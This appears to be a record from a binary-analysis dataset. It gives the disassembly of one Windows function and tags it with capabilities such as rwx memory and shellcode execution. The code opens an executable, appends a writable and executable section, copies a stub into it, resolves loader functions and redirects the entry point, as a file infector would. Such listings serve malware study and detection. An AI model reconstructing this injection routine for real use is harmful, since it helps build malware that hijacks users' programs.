Function at 0x40dfaa
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push 0x130
push 0x40fd90
call fcn.0040ea28
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x40e43f
cmp dword [ebp + 0x14], edi
je 0x40e43f
xor eax, eax
inc eax
mov edx, dword [ebp + 0x10]
cmp edx, eax
jl 0x40e442
cmp dword [ebp + 0x18], eax
jl 0x40e442
mov ecx, sub.KERNEL32.dll_RtlZeroMemory
sub ecx, 0x40e448
mov dword [ebp - 0x20], ecx
lea ebx, [ecx + edx]
test al, bl
je 0x40dffd
inc edx
mov dword [ebp + 0x10], edx
add ecx, edx
add ecx, dword [ebp + 0x18]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 4], edi
mov dword [ebp - 4], eax
or ebx, 0xffffffff
mov dword [0x41a048], ebx
push edi
push edi
push 3
push edi
push edi
mov esi, 0xc0000000
push esi
push dword [ebp + 8]
call dword [0x4121b4]
mov dword [0x419030], eax
cmp eax, edi
je 0x40e036
cmp eax, ebx
jne 0x40e06d
push edi
push edi
push 0x104
lea eax, [ebp - 0x140]
push eax
push ebx
push dword [ebp + 8]
push edi
push edi
call dword [0x4121e8]
push edi
push edi
push 3
push edi
push edi
push esi
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x419030], eax
cmp eax, ebx
je 0x40e089
push edi
lea ecx, [ebp - 0x1c]
push ecx
mov ebx, 0x1000
push ebx
mov esi, 0x419040
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40e090
push 2
jmp 0x40e2f8
cmp dword [ebp - 0x1c], ebx
jne 0x40e0be
mov dword [0x41a04c], esi
movzx eax, word [0x41907c]
add eax, 0x419044
mov dword [0x419034], eax
lea ecx, [eax + 0x14]
mov dword [0x41a044], ecx
cmp dword [eax - 4], 0x4550
je 0x40e0c5
push 3
jmp 0x40e2f8
movzx edx, word [eax + 2]
lea edx, [edx + edx*4]
movzx eax, word [eax + 0x10]
add eax, ecx
lea eax, [eax + edx*8 - 0x28]
mov dword [0x41902c], eax
mov ecx, dword [ecx + 0x24]
mov dword [ebp - 0x2c], ecx
mov ebx, dword [eax + 0x14]
add ebx, dword [eax + 0x10]
mov dword [ebp - 0x34], ebx
push edi
push dword [0x419030]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
sub esi, ebx
mov dword [ebp - 0x28], esi
push edi
push dword [ebp - 0x2c]
push ebx
call fcn.0040deb9
pop ecx
pop ecx
add eax, esi
add eax, dword [ebp - 0x24]
push eax
push edi
push 4
pop esi
push esi
push edi
push dword [0x419030]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [0x41a048], eax
cmp eax, edi
je 0x40e2f9
push edi
push edi
push edi
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
mov dword [0x41a04c], esi
cmp esi, edi
jne 0x40e151
push 4
jmp 0x40e2f8
movzx eax, word [esi + 0x3c]
lea eax, [eax + esi + 4]
mov dword [0x419034], eax
lea ecx, [eax + 0x14]
mov dword [0x41a044], ecx
lea edx, [ecx + 0x60]
mov dword [0x41a040], edx
movzx edx, word [eax + 2]
lea edx, [edx + edx*4]
movzx eax, word [eax + 0x10]
add eax, ecx
lea edi, [eax + edx*8 - 0x28]
mov dword [0x41902c], edi
xor eax, eax
mov dword [ebp - 0x1c], eax
movzx ecx, byte [edi + eax]
mov edx, dword [ebp + 0x1c]
movsx edx, byte [eax + edx]
cmp ecx, edx
jne 0x40e1a3
cmp eax, 8
jae 0x40e1a6
inc eax
jmp 0x40e189
cmp eax, 8
jne 0x40e1af
push 5
jmp 0x40e2f8
push dword [ebp - 0x2c]
push dword [edi + 0x10]
call fcn.0040deb9
pop ecx
pop ecx
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x28]
lea ecx, [esi + ebx]
push ecx
mov ecx, dword [edi + 0x14]
add ecx, esi
add ecx, eax
push ecx
call sub.KERNEL32.dll_RtlMoveMemory
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x41902c]
sub eax, dword [ecx + 0x10]
push eax
mov eax, dword [0x41a04c]
add eax, ebx
push eax
call sub.KERNEL32.dll_RtlZeroMemory
mov eax, dword [0x41902c]
mov ecx, dword [ebp - 0x1c]
mov dword [eax + 0x10], ecx
mov eax, dword [0x41a044]
push dword [eax + 0x20]
mov esi, dword [0x41902c]
mov eax, dword [esi + 0xc]
add eax, dword [esi + 8]
push eax
call fcn.0040deb9
pop ecx
pop ecx
mov ebx, eax
mov dword [ebp - 0x3c], ebx
mov edi, dword [esi + 0x14]
add edi, dword [0x41a04c]
add edi, dword [ebp - 0x1c]
mov dword [ebp - 0x38], edi
add esi, 0x28
mov dword [0x41902c], esi
mov dword [esi + 0xc], ebx
mov ecx, dword [0x41902c]
mov eax, dword [ebp - 0x24]
mov dword [ecx + 8], eax
mov ecx, edi
sub ecx, dword [0x41a04c]
mov edx, dword [0x41902c]
mov dword [edx + 0x14], ecx
mov ecx, dword [0x41902c]
mov dword [ecx + 0x10], eax
mov eax, dword [0x41902c]
mov dword [eax + 0x24], 0xe0000040
mov eax, dword [0x419034]
inc word [eax + 2]
push 8
push dword [ebp + 0x1c]
push dword [0x41902c]
call sub.KERNEL32.dll_RtlMoveMemory
lea eax, [ebp - 0x1c]
push eax
push 0x40
push dword [ebp - 0x20]
mov esi, 0x40e448
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov byte [0x40e44f], al
mov eax, dword [ebp + 0x10]
sub eax, 0x40e46a
mov ecx, dword [ebp + 0x18]
lea eax, [eax + ecx + sub.KERNEL32.dll_RtlZeroMemory]
mov dword [0x40e45b], eax
mov eax, dword [0x41a044]
mov ecx, dword [eax + 0x10]
sub ecx, ebx
sub ecx, 0x40e488
lea ecx, [ecx + 0x40e444]
mov dword [0x40e488], ecx
mov eax, dword [eax + 0x1c]
add eax, ebx
add eax, dword [ebp - 0x20]
add eax, dword [ebp + 0x10]
mov dword [0x40e46b], eax
push str.GetProcAddress
call fcn.0040defe
pop ecx
mov dword [0x40e471], eax
test eax, eax
jne 0x40e30d
push 6
pop esi
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
call fcn.0040ebc2
pop ecx
pop ecx
mov eax, esi
jmp 0x40e442
mov ecx, dword [0x41a044]
mov ecx, dword [ecx + 0x1c]
add ecx, eax
mov dword [0x40e471], ecx
push str.LoadLibraryA
call fcn.0040defe
pop ecx
mov dword [0x40e47b], eax
test eax, eax
jne 0x40e346
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
call fcn.0040ebc2
pop ecx
pop ecx
push 6
jmp 0x40e43c
mov ecx, dword [0x41a044]
mov ecx, dword [ecx + 0x1c]
add ecx, eax
mov dword [0x40e47b], ecx
push dword [ebp - 0x28]
push edi
mov eax, dword [ebp - 0x24]
add eax, edi
push eax
call sub.KERNEL32.dll_RtlMoveMemory
push dword [ebp - 0x20]
push esi
push edi
call sub.KERNEL32.dll_RtlMoveMemory
mov eax, dword [ebp - 0x20]
add eax, edi
mov dword [ebp - 0x30], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call sub.KERNEL32.dll_RtlMoveMemory
push dword [ebp + 0x18]
push dword [ebp + 0x14]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + 0x10]
add eax, ecx
push eax
call sub.KERNEL32.dll_RtlMoveMemory
xor eax, eax
mov al, byte [0x40e44f]
push eax
push dword [0x40e45b]
sub edi, esi
add edi, 0x40e46a
push edi
call fcn.0040df90
mov esi, dword [0x41a044]
push dword [esi + 0x20]
mov edi, dword [0x41902c]
push dword [edi + 8]
call fcn.0040deb9
add esp, 0x14
add eax, dword [edi + 0xc]
mov dword [esi + 0x38], eax
mov eax, dword [0x41a044]
mov dword [eax + 0x10], ebx
mov ecx, dword [0x41a040]
xor eax, eax
mov dword [ecx + 0x58], eax
mov ecx, dword [0x41a040]
mov dword [ecx + 0x5c], eax
mov dword [ebp - 4], eax
call fcn.0040e400
or dword [ebp - 4], 0xffffffff
xor eax, eax
jmp 0x40e442
pop eax
jmp 0x40e442
xor eax, eax
inc eax
call fcn.0040ea63
ret